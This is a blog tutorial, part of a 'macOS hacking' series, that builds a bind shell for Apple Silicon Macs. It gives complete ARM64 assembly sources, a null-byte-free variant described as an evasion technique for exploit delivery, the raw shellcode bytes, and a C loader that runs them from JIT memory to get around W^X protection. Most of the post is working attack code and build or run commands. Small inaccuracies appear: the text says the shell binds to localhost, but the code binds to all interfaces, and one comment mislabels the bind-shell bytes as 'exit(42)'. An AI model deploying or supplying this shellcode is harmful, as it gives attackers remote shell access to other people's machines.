MacOS hacking part 11: bind shell for ARM (M1). Simple Assembly (M1) and C (run shellcode) examples
﷽
Hello, cybersecurity enthusiasts and white hackers!
Sometimes all you need is a simple and reliable bind shell - especially on macOS ARM64
. In this post, we’ll go through a clean and minimal implementation of a bind shell written entirely in ARM64 assembly, running on M1/M2 macOS. Works like a charm.
practical example
What’s the plan? We’ll write a simple bind shell in raw assembly for macOS ARM64. It’ll:
- create a socket
- bind to
127.0.0.1:4444
- accept incoming connections
- need to call
dup2
socket toSTDIN/STDOUT/STDERR
- need to call
execve /bin/zsh
Let’s get started.
We begin by calling
int socket(int domain, int type, int protocol);
in our case:
socket(PF_INET, SOCK_STREAM, 0)
On macOS, BSD syscalls are used, and socket is syscall number 97
:
mov x0, #2 ; AF_INET
mov x1, #1 ; SOCK_STREAM
mov x2, xzr ; protocol = 0
mov x16, #97 ; syscall: socket (97)
svc #0xffff ; call kernel
mov x19, x0 ; save sockfd
Nothing fancy. Just raw syscall to open a TCP socket.
At the next step we need to binding logic:
int bind(int socket, const struct sockaddr_in *address, socklen_t address_len);
Now let’s build the sockaddr_in
structure directly on the stack:
mov x2, #16 ; sizeof(sockaddr_in)
mov x4, #0x0200 ; sin_len=0x00, sin_family=AF_INET=0x02
movk x4, #0x5c11, lsl#16 ; sin_port = 0x115c (4444) in network byte order
stp x4, xzr, [sp, #-16]! ; push to stack (zero padding)
mov x1, sp ; x1 = pointer to sockaddr_in
mov x16, #104 ; syscall: bind
svc #0xffff
We’re binding to 127.0.0.1:4444
. You might notice we don’t explicitly set sin_addr
. macOS allows binding to INADDR_ANY
if we skip it, or we could add it with extra movk
like in other examples - this PoC keeps it compact.
So, then we need listening and accepting connections logic. So, start listening:
int listen(int socket, int backlog);
mov x0, x19 ; sockfd
mov x1, xzr ; backlog = 0
mov x16, #106 ; syscall: listen
svc #0xffff
Then accept incoming connection:
int accept(int socket, struct sockaddr *address, socklen_t *address_len);
via ARM:
mov x0, x19 ; server socket
mov x1, xzr
mov x2, xzr
mov x16, #30 ; syscall: accept
svc #0xffff
mov x20, x0 ; new client socket
Now we’re ready to redirect STDIN/STDOUT/STDERR
to the new socket:
int dup2(int fd, int fd2);
Classic dup2
dance: socket -> 2, 1, 0
:
mov x16, #90
mov x1, #2
svc #0xffff
mov x0, x20
mov x1, #1
svc #0xffff
mov x0, x20
lsr x1, x1, #1 ; = 0
svc #0xffff
Note: we reused x1
instead of hardcoding #0
- just to demonstrate bit shift trick.
Finally, we need to run execve("/bin/zsh")
:
int execve(const char *path, char *const argv[], char *const envp[]);
First of all, we hardcode the string /bin/zsh
and push it on the stack:
mov x3, #0x622f ; '/b'
movk x3, #0x6e69, lsl#16 ; 'in'
movk x3, #0x7a2f, lsl#32 ; '/z'
movk x3, #0x6873, lsl#48 ; 'sh'
stp x3, xzr, [sp,#-16]!
add x0, sp, xzr ; x0 = pointer to path
Build argv
:
stp x0, xzr, [sp,#-16]! ; argv = ["/bin/zsh", NULL]
add x1, sp, xzr ; x1 = argv
mov x2, xzr ; envp = NULL
mov x16, #59 ; syscall: execve
svc #0xffff
So, by this logic, boom!! Our /bin/zsh
is running and connected to whoever hit our bind shell.
Full source code:
; hack.s
; bind shell ARM
; author: @cocomelonc
; https://cocomelonc.github.io/macos/2025/09/01/malware-mac-11.html
.global _start
.align 4
.section __TEXT,__text
_start:
; socket descriptor
; int socket(int domain, int type, int protocol)
mov x0, #2 ; domain = PF_INET
mov x1, #1 ; type = sock_stream
mov x2, xzr ; protocol ipproto_ip
mov x16, #97 ; bsd syscall for socket (97)
svc #0xffff ; exec syscall
mov x19, x0 ; save socket descriptor
; bind socket to local address
; int bind(int socket, const struct sockaddr_in *address, socklen_t address_len)
mov x2, #16 ; address len (16 bytes)
mov x4, #0x0200 ; sin_len = 0, sin_family = 2
movk x4, #0x5c11, lsl#16 ; sin_port = 4444 = 0x115c
stp x4, xzr, [sp, #-16]! ; push sockaddr_in to stack
mov x1, sp ; pointer to sockaddr_in struct
mov x16, #104 ; bsd syscall for bind (104)
svc #0xffff ; exec syscall
; listen incoming connections
; int listen(int socket, int backlog)
mov x0, x19 ; restore saved socket descriptor
mov x1, xzr ; ingore address storage
mov x16, #106 ; bsd syscall for listen (106)
svc #0xffff ; exec syscall
; accept incoming connections
; int accept(int socket, struct sockaddr *address, socklen_t *address_len)
mov x0, x19 ; restore saved socket descriptor
mov x1, xzr ; ingore address storage
mov x2, xzr ; ignore length of address struct
mov x16, #30 ; bsd syscall for accept (30)
svc #0xffff ; exec syscall
mov x20, x0 ; save new socket descriptor
; dup2
; int dup2(int fd, int fd2)
mov x16, #90 ; bsd syscall dup2 (90)
mov x1, #2 ; file descriptor 2 = STDERR
svc #0xffff ; execute syscall
mov x0, x20 ; restore new socket descriptor
mov x1, #1 ; file descriptor 1 = STDOUT
svc #0xffff ; execute syscall
mov x0, x20 ; restore new socket descriptor
lsr x1, x1, #1 ; file descriptor 0 = STDIN
svc #0xffff ; execute syscall
; launch shell via execve
; execve("/bin/zsh", ["/bin/zsh"], NULL)
mov x3, #0x622f ; move "/bin/zsh" into x3 (little endian)
movk x3, #0x6e69, lsl#16 ; 'in'
movk x3, #0x7a2f, lsl#32 ; '/z'
movk x3, #0x6873, lsl#48 ; 'sh'
stp x3, xzr, [sp,#-16]! ; push path and terminating 0 to stack
add x0, sp, xzr ; save pointer to path = argv[0] in x0
stp x0, xzr, [sp,#-16]! ; push argv and terminating 0 to stack
add x1, sp, xzr ; move pointer to argument array into X1
mov x2, xzr ; third argument for execve ignored
mov x16, #59 ; bsd syscall for execve (59)
svc #0xffff ; execute syscall to launch shell
As you can see, you can update another port instead of using 4444
if you want.
demo
Let’s go to see this in action. First of all compile assembly code:
as -arch arm64 hack.s -o hack.o
then linking:
ld -arch arm64 -e _start -o hack hack.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
Then run:
./hack
Wait for incoming connections…
Then run in the same machine (since we use localhost in shellcode):
nc 127.0.0.1 4444
and type shell commands:
you can check connection:
lsof -nP -iTCP:4444
As you can see, everything is worked as expected. =^..^=
practical example 2: no null bytes
Let’s check this first example:
objdump -d hack.o
As you can see, we have null-bytes in our shellcode.
As an important variation, we need a null-byte-free bind shell implementation for ARM64 (Apple M1). This is a crucial distinction for real-world shellcode delivery, especially in exploit development scenarios where null bytes (0x00
) can truncate payloads or interfere with string-based injection techniques.
In the first version of the shellcode, some instructions or immediate values (like syscall arguments or port/address setup) result in embedded 0x00
bytes. These are harmless during normal execution but problematic in contexts where the shellcode is injected via string buffers.
The second example avoids this by using bitwise shifts (lsr, lsl
) and indirect register manipulation to build up values dynamically in registers. For example:
mov x3, #0x0201
lsr x0, x3, #8
lsr x1, x0, #1
This pattern ensures that the desired constants are reconstructed without ever embedding null bytes in the raw opcode stream - a subtle but effective evasion and obfuscation technique.
This version is ideal for use in shellcode where reliability across encoding-sensitive channels is critical.
So, full source code look like this hack2.s
:
; hack2.s
; bind shell ARM (no null bytes)
; author: @cocomelonc
; https://cocomelonc.github.io/macos/2025/09/01/malware-mac-11.html
.global _start
.align 4
_start:
; create a socket
mov x3, #0x0201 ; x3 = 0x201
lsr x0, x3, #8 ; x0 = 2 (pf_inet)
lsr x1, x0, #1 ; x1 = 1 (sock_stream)
mov x2, xzr ; x2 = 0 (ipproto_ip)
mov x16, #97 ; bsd syscall: socket (97)
svc #0xffff ; exec syscall
lsl x19, x0, #0 ; store socket descriptor in x19
; bind socket to local address 0.0.0.0:4444
mov x2, #16 ; address_len = 16
mov x4, #0x0200 ; sin_family = af_inet (2)
movk x4, #0x5c11, lsl#16 ; sin_port = htons(4444) = 0x5c11
stp x4, xzr, [sp, #-16]! ; push sockaddr_in to stack
add x1, sp, xzr ; x1 -> sockaddr_in
mov x16, #104 ; bsd syscall: bind (104)
svc #0xffff ; exec syscall
; listen for incoming connections
mov x0, x19 ; x0 = socket descriptor
mov x1, xzr ; backlog = 0
mov x16, #106 ; bsd syscall: listen (106)
svc #0xffff ; exec syscall
; accept connection
mov x0, x19 ; x0 = socket descriptor
mov x1, xzr ; no client addr needed
mov x2, xzr ; no addr len needed
mov x16, #30 ; bsd syscall: accept (30)
svc #0xffff ; syscall run
lsl x20, x0, #0 ; save accepted socket to x20
; redirect stdin, stdout, stderr to accepted socket
mov x16, #90 ; bsd syscall: dup2 (90)
mov x1, #0x0201 ; target fd = 2 (stderr)
lsr x1, x1, #8 ; x1 = 2
svc #0xffff ; dup2(x20, 2)
mov x0, x20 ; restore client socket
mov x1, #0x0101 ; target fd = 1 (stdout)
lsr x1, x1, #8 ; x1 = 1
svc #0xffff ; dup2(x20, 1)
mov x0, x20 ; restore client socket
lsr x1, x1, #1 ; x1 = 0 (stdin)
svc #0xffff ; dup2(x20, 0)
; final: execve("/bin/zsh", ["/bin/zsh"], null)
mov x3, #0x622f ; "/bin/zsh" (part 1)
movk x3, #0x6e69, lsl#16 ;
movk x3, #0x7a2f, lsl#32 ;
movk x3, #0x6873, lsl#48 ;
stp x3, xzr, [sp, #-16]! ; push path and null terminator
add x0, sp, xzr ; x0 = "/bin/zsh"
stp x0, xzr, [sp, #-16]! ; push argv = {"/bin/zsh", null}
add x1, sp, xzr ; x1 = argv
mov x2, xzr ; x2 = envp = null
mov x16, #59 ; bsd syscall: execve (59)
svc #0xffff ; call kernel
demo 2
Compile:
as -arch arm64 hack2.s -o hack2.o
then linking:
ld -arch arm64 -e _start -o hack2 hack2.o -lSystem -syslibroot $(xcrun --sdk macosx --show-sdk-path)
Then run in different terminals:
./hack2
nc 127.0.0.1 4444
As you can see, everything is worked also perfectly here! =^..^=
objdump -d hack2.o
Null byte-free shellcode.
practical example 3: run shellcode via C
Let’s run our shellcode via C. First of all, get shellcode:
otool -t hack2.o
So, our shellcode bytes look like the following:
"\x23\x40\x80\xd2\x60\xfc\x48\xd3\x01\xfc\x41\xd3\xe2\x03\x1f\xaa"
"\x30\x0c\x80\xd2\xe1\xff\x1f\xd4\x13\xfc\x40\xd3\x02\x02\x80\xd2"
"\x04\x40\x80\xd2\x24\x82\xab\xf2\xe4\x7f\xbf\xa9\xe1\x63\x3f\x8b"
"\x10\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
"\x50\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
"\xe2\x03\x1f\xaa\xd0\x03\x80\xd2\xe1\xff\x1f\xd4\x14\xfc\x40\xd3"
"\x50\x0b\x80\xd2\x21\x40\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
"\xe0\x03\x14\xaa\x21\x20\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
"\xe0\x03\x14\xaa\x21\xfc\x41\xd3\xe1\xff\x1f\xd4\xe3\x45\x8c\xd2"
"\x23\xcd\xad\xf2\xe3\x45\xcf\xf2\x63\x0e\xed\xf2\xe3\x7f\xbf\xa9"
"\xe0\x63\x3f\x8b\xe0\x7f\xbf\xa9\xe1\x63\x3f\x8b\xe2\x03\x1f\xaa"
"\x70\x07\x80\xd2\xe1\xff\x1f\xd4";
Then I tried to use shellcode running code from one of my previous posts (hack3.c
):
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
unsigned char code[] =
"\x23\x40\x80\xd2\x60\xfc\x48\xd3\x01\xfc\x41\xd3\xe2\x03\x1f\xaa"
"\x30\x0c\x80\xd2\xe1\xff\x1f\xd4\x13\xfc\x40\xd3\x02\x02\x80\xd2"
"\x04\x40\x80\xd2\x24\x82\xab\xf2\xe4\x7f\xbf\xa9\xe1\x63\x3f\x8b"
"\x10\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
"\x50\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
"\xe2\x03\x1f\xaa\xd0\x03\x80\xd2\xe1\xff\x1f\xd4\x14\xfc\x40\xd3"
"\x50\x0b\x80\xd2\x21\x40\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
"\xe0\x03\x14\xaa\x21\x20\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
"\xe0\x03\x14\xaa\x21\xfc\x41\xd3\xe1\xff\x1f\xd4\xe3\x45\x8c\xd2"
"\x23\xcd\xad\xf2\xe3\x45\xcf\xf2\x63\x0e\xed\xf2\xe3\x7f\xbf\xa9"
"\xe0\x63\x3f\x8b\xe0\x7f\xbf\xa9\xe1\x63\x3f\x8b\xe2\x03\x1f\xaa"
"\x70\x07\x80\xd2\xe1\xff\x1f\xd4";
int main() {
size_t pagesize = sysconf(_SC_PAGESIZE);
void *exec = mmap(0, pagesize, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, -1, 0);
if (exec == MAP_FAILED) {
perror("mmap");
return 1;
}
memcpy(exec, code, sizeof(code));
((void(*)())exec)();
return 0;
}
Compile it:
clang -o hack3 hack3.c
Run it:
./hack3
But I got permission denied
error :(. What is an issue???
it’s almost always due to macOS
security restrictions, especially W^X (Write XOR Execute) memory protection enforced in recent versions of macOS
.
Let’s try to fix or work around it properly.
Apple Silicon requires MAP_JIT
to allocate memory that is both writable and executable. You must also use pthread_jit_write_protect_np()
if you’re writing self-modifying code or JIT shellcode:
Minimal working example for this looks like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>
#include <unistd.h>
int main() {
size_t size = 4096;
// allocate RWX memory with MAP_JIT for Apple Silicon
void *shellcode = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (shellcode == MAP_FAILED) {
perror("mmap");
exit(1);
}
// optional: disable JIT write protection before writing (for M1)
pthread_jit_write_protect_np(0);
// shellcode
unsigned char code[] = {
// our shellcode here
};
memcpy(shellcode, code, sizeof(code));
// re-enable JIT write protection (optional)
pthread_jit_write_protect_np(1);
// execute
((void(*)())shellcode)();
return 0;
}
Even if you disable SIP (System Integrity Protection), this restriction applies in many scenarios starting with macOS 11 (Big Sur)
and onward.
Updated full source code for our hack3.c
:
/*
* hack3.c
* run bind shell
* shellcode via mmap
* author: @cocomelonc
* https://cocomelonc.github.io/macos/2025/09/01/malware-mac-11.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <pthread.h>
#include <unistd.h>
int main() {
size_t size = 4096;
void *mem = mmap(NULL, size,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (mem == MAP_FAILED) {
perror("mmap");
return 1;
}
pthread_jit_write_protect_np(0);
// shellcode: exit(42)
unsigned char code[] =
"\x23\x40\x80\xd2\x60\xfc\x48\xd3\x01\xfc\x41\xd3\xe2\x03\x1f\xaa"
"\x30\x0c\x80\xd2\xe1\xff\x1f\xd4\x13\xfc\x40\xd3\x02\x02\x80\xd2"
"\x04\x40\x80\xd2\x24\x82\xab\xf2\xe4\x7f\xbf\xa9\xe1\x63\x3f\x8b"
"\x10\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
"\x50\x0d\x80\xd2\xe1\xff\x1f\xd4\xe0\x03\x13\xaa\xe1\x03\x1f\xaa"
"\xe2\x03\x1f\xaa\xd0\x03\x80\xd2\xe1\xff\x1f\xd4\x14\xfc\x40\xd3"
"\x50\x0b\x80\xd2\x21\x40\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
"\xe0\x03\x14\xaa\x21\x20\x80\xd2\x21\xfc\x48\xd3\xe1\xff\x1f\xd4"
"\xe0\x03\x14\xaa\x21\xfc\x41\xd3\xe1\xff\x1f\xd4\xe3\x45\x8c\xd2"
"\x23\xcd\xad\xf2\xe3\x45\xcf\xf2\x63\x0e\xed\xf2\xe3\x7f\xbf\xa9"
"\xe0\x63\x3f\x8b\xe0\x7f\xbf\xa9\xe1\x63\x3f\x8b\xe2\x03\x1f\xaa"
"\x70\x07\x80\xd2\xe1\xff\x1f\xd4";
memcpy(mem, code, sizeof(code));
pthread_jit_write_protect_np(1);
((void(*)())mem)();
return 0;
}
demo 3
Compile it again:
clang -o hack3 hack3.c
Then run it:
./hack3
and connect via netcat:
nc 127.0.0.1 4444
Pwn!!!! Everything worked as expected! =^..^=
That’s it. Straightforward bind shell for macOS
on Apple Silicon. Clean, minimal, no libc
. Pure syscall style. This kind of PoC is useful for malware R&D, shellcode development, and red teaming labs, or as always, for blue team specialists.
macOS hacking part 1
macOS hacking part 10
Allow execution of JIT-compiled code entitlement
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine